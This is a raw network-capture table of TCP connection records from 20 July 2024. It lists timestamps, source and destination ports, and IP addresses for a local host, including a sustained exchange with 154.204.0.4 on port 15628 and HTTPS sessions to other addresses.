Jul 20, 2024 11:53:28.543715954 CEST	49737	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:28.544528961 CEST	49737	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:28.544564009 CEST	443	49737	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:29.660334110 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:29.665292025 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:29.826437950 CEST	443	49737	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:29.826529026 CEST	49737	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:29.828301907 CEST	49737	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:29.828319073 CEST	443	49737	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:29.828495979 CEST	443	49737	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:29.828922033 CEST	49737	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:29.829358101 CEST	49738	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:29.829394102 CEST	443	49738	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:29.831048965 CEST	49738	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:29.831734896 CEST	49738	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:29.831749916 CEST	443	49738	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.113614082 CEST	443	49738	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.113714933 CEST	49738	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.115814924 CEST	49738	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.115845919 CEST	443	49738	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.116024971 CEST	443	49738	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.116080046 CEST	49738	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.118200064 CEST	49738	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.118230104 CEST	49730	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.118233919 CEST	443	49738	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.118263006 CEST	443	49730	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.118304968 CEST	49739	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.118329048 CEST	443	49739	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.118387938 CEST	49739	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.118415117 CEST	49735	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:31.118437052 CEST	443	49735	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:31.118457079 CEST	49734	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:31.118474007 CEST	443	49734	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:31.118475914 CEST	49731	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:31.118520975 CEST	443	49731	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:31.118547916 CEST	49729	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:31.118555069 CEST	443	49729	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:31.118583918 CEST	49737	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.118597984 CEST	443	49737	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.118714094 CEST	49736	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.118720055 CEST	443	49736	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:31.118732929 CEST	49733	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:31.118738890 CEST	443	49733	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:31.118757963 CEST	49732	443	192.168.2.5	35.227.223.56
Jul 20, 2024 11:53:31.118762970 CEST	443	49732	35.227.223.56	192.168.2.5
Jul 20, 2024 11:53:31.119780064 CEST	49739	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:31.119796038 CEST	443	49739	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:32.388185978 CEST	443	49739	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:32.388297081 CEST	49739	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:32.394088030 CEST	49739	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:32.394118071 CEST	443	49739	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:32.394310951 CEST	443	49739	23.98.101.155	192.168.2.5
Jul 20, 2024 11:53:32.394663095 CEST	49739	443	192.168.2.5	23.98.101.155
Jul 20, 2024 11:53:32.396286011 CEST	49740	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:32.396330118 CEST	443	49740	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:32.396385908 CEST	49740	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:32.397742987 CEST	49740	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:32.397758007 CEST	443	49740	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:34.282361031 CEST	443	49740	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:34.282466888 CEST	49740	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:34.284054995 CEST	49740	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:34.284066916 CEST	443	49740	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:34.284291029 CEST	443	49740	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:34.284418106 CEST	49740	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:34.284914970 CEST	49742	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:34.284951925 CEST	443	49742	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:34.285043001 CEST	49742	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:34.285654068 CEST	49742	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:34.285666943 CEST	443	49742	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:35.643953085 CEST	443	49742	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:35.644042969 CEST	49742	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:35.687807083 CEST	49742	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:35.687833071 CEST	443	49742	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:35.688378096 CEST	443	49742	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:35.688441038 CEST	49742	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:35.689075947 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:35.689146042 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:35.689469099 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:35.695003033 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:35.695019960 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:36.998234987 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:36.998383999 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:37.000206947 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:37.000231028 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:37.000649929 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:37.000783920 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:37.001013994 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:37.001039982 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:37.001127958 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:37.001765966 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:37.001790047 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:37.413742065 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:37.418741941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:38.329646111 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:38.329730034 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:38.331274033 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:38.331285954 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:38.331701040 CEST	443	49745	183.60.146.66	192.168.2.5
Jul 20, 2024 11:53:38.331907034 CEST	49745	443	192.168.2.5	183.60.146.66
Jul 20, 2024 11:53:40.407685041 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:40.412908077 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:41.591687918 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:41.598417997 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:42.151441097 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:42.156507969 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:42.821185112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:42.826150894 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.298290968 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.425914049 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.475316048 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.480535030 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.480638027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.485515118 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.486040115 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.490864038 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.492899895 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.497776031 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.497852087 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.502727985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.502831936 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.507667065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.508733034 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.513582945 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.513648987 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.518531084 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.519098997 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.524162054 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.524229050 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.529412985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.548779964 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.555435896 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.556884050 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.561919928 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.561971903 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.566890955 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.566955090 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.571825981 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.571887970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.576756001 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.576849937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.581779957 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.581842899 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.586783886 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.586853027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.591803074 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.592288971 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.597202063 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.597268105 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.602535009 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.602593899 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.607475042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.607522011 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.612360954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.612407923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.617471933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.617579937 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.622582912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.623709917 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.628638983 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.628870010 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.633693933 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.633752108 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.638530970 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.639342070 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.644197941 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.644253969 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.649055004 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.649432898 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.654895067 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.655261040 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.660073042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.660342932 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.665105104 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.665167093 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.669955969 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.670052052 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.675033092 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.675084114 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.680138111 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.680407047 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.685213089 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.685261965 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.690109968 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.690155029 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.694951057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.695004940 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.701133966 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.701189995 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.707554102 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.707694054 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.712649107 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.712706089 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.717889071 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.717947006 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.722887993 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.722938061 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.728296995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.728429079 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.733547926 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.733618021 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.738509893 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.738661051 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.744003057 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.744164944 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.749001026 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.749052048 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.753848076 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.753904104 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.758883953 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.759252071 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.766396999 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.766448975 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.775460005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.775544882 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.781150103 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.781239986 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.790941954 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.791129112 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.797239065 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.797322989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.802154064 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.802206993 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.809581041 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.809937954 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.815035105 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.815154076 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.820147991 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.820215940 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.825196981 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.825242996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.830140114 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.830223083 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.834986925 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.835335970 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.840290070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.840333939 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.845190048 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.845300913 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.850065947 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.850152969 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.855359077 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.855438948 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.860265017 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.860366106 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.879693985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.879760027 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.924635887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.926276922 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.926503897 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.930136919 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.930238962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.931688070 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.931735992 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.935391903 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.935446024 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.936659098 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.936889887 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.940304995 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.940370083 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.941685915 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.941745996 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.945804119 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.945858955 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.947215080 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.947252989 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.950861931 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.950916052 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.952244043 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.952294111 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.955848932 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.955921888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.957247972 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.957290888 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.961189985 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.961241961 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.962311983 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.962357044 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.966121912 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.966553926 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.967277050 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.967315912 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.971429110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.971503973 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.972090960 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.972129107 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.976330042 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.976412058 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.976895094 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.977045059 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.981242895 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.981301069 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.982259989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.982305050 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.986764908 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.986876011 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.987679005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.987735033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.992126942 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.992202044 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.993289948 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.993335962 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.997169018 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.997281075 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:43.998344898 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:43.998379946 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.002321005 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.002763033 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.004376888 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.004523993 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.007630110 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.007682085 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.009351969 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.009469032 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.012567997 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.012624025 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.014492989 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.014653921 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.017524958 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.017667055 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.020502090 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.020867109 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.022577047 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.022638083 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.025731087 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.025785923 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.027457952 CEST	15628	49715	154.204.0.4	192.168.2.5
Jul 20, 2024 11:53:44.027508974 CEST	49715	15628	192.168.2.5	154.204.0.4
Jul 20, 2024 11:53:44.030777931 CEST	15628	49715	154.204.0.4	192.168.2.5
